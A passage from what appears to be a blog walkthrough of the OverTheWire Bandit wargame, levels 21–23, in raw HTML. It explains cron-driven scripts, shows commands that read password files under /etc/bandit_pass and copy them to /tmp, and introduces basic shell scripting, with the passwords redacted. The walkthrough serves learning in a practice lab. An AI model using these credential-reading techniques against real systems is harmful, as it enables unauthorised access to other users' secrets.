&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#!&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;chmod&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 644&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; &#x2F;tmp&#x2F;t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; &#x2F;etc&#x2F;bandit_pass&#x2F;bandit22&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; &#x2F;tmp&#x2F;t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;According to this script, the password for &lt;code&gt;bandit22&lt;&#x2F;code&gt; seems to be written to the file &lt;code&gt;&#x2F;tmp&#x2F;t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv&lt;&#x2F;code&gt;. Reading that file will reveal the password.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat &#x2F;tmp&#x2F;t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED LEVEL 22 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;level-22&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-22&quot; aria-label=&quot;Anchor link for: level-22&quot;&gt;Level 22&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in &lt;code&gt;&#x2F;etc&#x2F;cron.d&#x2F;&lt;&#x2F;code&gt; for the configuration and see what command is being executed.&lt;&#x2F;p&gt;
&lt;p&gt;NOTE: Looking at shell scripts written by other people is a very useful skill. The script for this level is intentionally made easy to read. If you are having problems understanding what it does, try executing it to see the debug information it prints.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This level once again involves Cron. You may remember, from &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirebandit&#x2F;#level-21&quot;&gt;Level 21&lt;&#x2F;a&gt; that there were a few other cron files in &lt;code&gt;&#x2F;etc&#x2F;cron.d&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;This time we’re interested in the &lt;code&gt;&#x2F;etc&#x2F;cron.d&#x2F;cronjob_bandit22&lt;&#x2F;code&gt; file.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;@reboot bandit23 &#x2F;usr&#x2F;bin&#x2F;cronjob_bandit23.sh  &amp;amp;&amp;gt; &#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;* * * * * bandit23 &#x2F;usr&#x2F;bin&#x2F;cronjob_bandit23.sh  &amp;amp;&amp;gt; &#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Once again this crontab points to a script in &lt;code&gt;&#x2F;usr&#x2F;bin&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#!&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;myname&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;whoami&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;mytarget&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; I&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; am&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; user&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt; $&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;myname&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt; md5sum&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt; cut&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Copying passwordfile &#x2F;etc&#x2F;bandit_pass&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;myname&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; to &#x2F;tmp&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;mytarget&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;7&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; &#x2F;etc&#x2F;bandit_pass&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;myname&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; &#x2F;tmp&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;mytarget&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This script is quite similar to the script in &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirebandit&#x2F;#level-21&quot;&gt;Level 21&lt;&#x2F;a&gt; except it’s now using a variable, &lt;code&gt;mytarget&lt;&#x2F;code&gt; to store the target directory. And, instead of using a hardcoded location, the &lt;code&gt;mytarget&lt;&#x2F;code&gt; is built with a series of commands.&lt;&#x2F;p&gt;
&lt;p&gt;However, be aware that the &lt;code&gt;$myname&lt;&#x2F;code&gt; variable is being populated when the script runs as the &lt;code&gt;bandit23&lt;&#x2F;code&gt; user. So you can’t use the results of &lt;code&gt;whoami&lt;&#x2F;code&gt; in the current shell for the &lt;code&gt;$myname&lt;&#x2F;code&gt; variable since that resolves to &lt;code&gt;bandit22&lt;&#x2F;code&gt;. Instead, the &lt;code&gt;$myname&lt;&#x2F;code&gt; variable should be &lt;code&gt;bandit23&lt;&#x2F;code&gt;. Replace it in the command line, like so, to calculate the correct location for the password.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; I&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; am&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; user&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; bandit23&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt; md5sum&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; |&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt; cut&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;d&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;f&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #A292A3);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Running this series of commands will give us the value stored in &lt;code&gt;$mytarget&lt;&#x2F;code&gt; which is &lt;code&gt;8ca319486bfbbc3663ea0fbe81326349&lt;&#x2F;code&gt;. Therefore, the final location for the password is &lt;code&gt;&#x2F;tmp&#x2F;8ca319486bfbbc3663ea0fbe81326349&lt;&#x2F;code&gt;. Output the file to get the password.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat &#x2F;tmp&#x2F;8ca319486bfbbc3663ea0fbe81326349&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED BANDIT 23 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;level-23&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-23&quot; aria-label=&quot;Anchor link for: level-23&quot;&gt;Level 23&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in &lt;code&gt;&#x2F;etc&#x2F;cron.d&#x2F;&lt;&#x2F;code&gt; for the configuration and see what command is being executed.&lt;&#x2F;p&gt;
&lt;p&gt;NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!&lt;&#x2F;p&gt;
&lt;p&gt;NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;This challenge is similar to the last one, but this time we won’t &lt;em&gt;just&lt;&#x2F;em&gt; be reading a shell script. We’ll be writing out own.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;shell-scripting&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#shell-scripting&quot; aria-label=&quot;Anchor link for: shell-scripting&quot;&gt;Shell scripting&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;We mostly breezed by all the scripts in the previous levels, but now that we’re writing our own. Let’s break them down a bit.&lt;&#x2F;p&gt;
&lt;p&gt;First we’ll look at the anatomy of a shell script. Shell scripts are just text files. On Linux, file extensions in Linux usually&lt;sup class=&quot;footnote-reference&quot; id=&quot;fr-4-1&quot;&gt;&lt;a href=&quot;#fn-4&quot;&gt;4&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; aren’t necessary, but it’s common to end shell scripts with a &lt;code&gt;.sh&lt;&#x2F;code&gt; e.g. &lt;code&gt;shell.sh&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The first line of any script should include a &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Shebang_%28Unix%29&quot;&gt;shebang&lt;&#x2F;a&gt; to specify what kind of script it is. When a file starting with a shebang is executed, the filepath provided after the shebang points the interpreter that will be used for the script.&lt;&#x2F;p&gt;
&lt;p&gt;For example, a shell script might begin like so.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#!&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; Hello&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; there!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;But it’s also possible to indicate other types of scripts, like Python for example.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;!&#x2F;usr&#x2F;bin&#x2F;python&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;print&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;Hi!&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We’ll only be writing shell scripts in this walkthrough though.&lt;&#x2F;p&gt;
&lt;p&gt;After the shebang, you can write any command as you’d normally write directly in the terminal. For example, here’s a script making a directory and writing some text to a file in that directory.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#!&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;mkdir&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#8F3F71, #8A9A7B);&quot;&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; test_dir&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;echo&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;TESTING&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #8A9A7B);&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt; &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; test_dir&#x2F;test.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;cat&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; test_dir&#x2F;test.txt&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;There’s a lot more to Bash and shell scripting, but this should be enough to get started. If you’d like to learn more, the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.gnu.org&#x2F;software&#x2F;bash&#x2F;manual&#x2F;bash.html&quot;&gt;Bash Reference Manual&lt;&#x2F;a&gt; is an excellent reference.&lt;&#x2F;p&gt;
&lt;p&gt;If you’re planning to do any real work with Bash scripts, definitely read through the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;jvns.ca&#x2F;blog&#x2F;2017&#x2F;03&#x2F;26&#x2F;bash-quirks&#x2F;&quot;&gt;Bash scripting quirks &amp;amp; safety tips&lt;&#x2F;a&gt; article by Julia Evans. It’ll walk you through some of the common gotchas.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-warning&quot;&gt;
&lt;p&gt;Don’t forget to make any script you write executable. On most systems files aren’t created with the execute (x) permission. So you’ll need to modify the permissions with a command like &lt;code&gt;chmod +x&lt;&#x2F;code&gt;. This will enable any user to execute the script.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;solution-2&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#solution-2&quot; aria-label=&quot;Anchor link for: solution-2&quot;&gt;Solution&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Now let’s write our script.&lt;&#x2F;p&gt;
&lt;p&gt;We know that &lt;code&gt;bandit24&lt;&#x2F;code&gt; has a cronjob running. You’ll find it at &lt;code&gt;&#x2F;etc&#x2F;cron.d&#x2F;cronjob_bandit24&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;@reboot bandit24 &#x2F;usr&#x2F;bin&#x2F;cronjob_bandit24.sh  &amp;amp;&amp;gt; &#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;* * * * * bandit24 &#x2F;usr&#x2F;bin&#x2F;cronjob_bandit24.sh  &amp;amp;&amp;gt; &#x2F;dev&#x2F;null&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Just like the last level, the cronjob is executing a script in &lt;code&gt;&#x2F;usr&#x2F;bin&lt;&#x2F;code&gt;. Let’s examine it.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;#!&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#928374, #737C73);font-style: italic;&quot;&gt;&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;myname&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#427B58, #C4B28A);&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;$(&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#B57614, #8EA4A2);&quot;&gt;whoami&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt; 5&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt; &#x2F;var&#x2F;spool&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#076678, #C5C9C5);&quot;&gt;myname&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#79740E, #8A9A7B);&quot;&gt;&#x2F;foo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
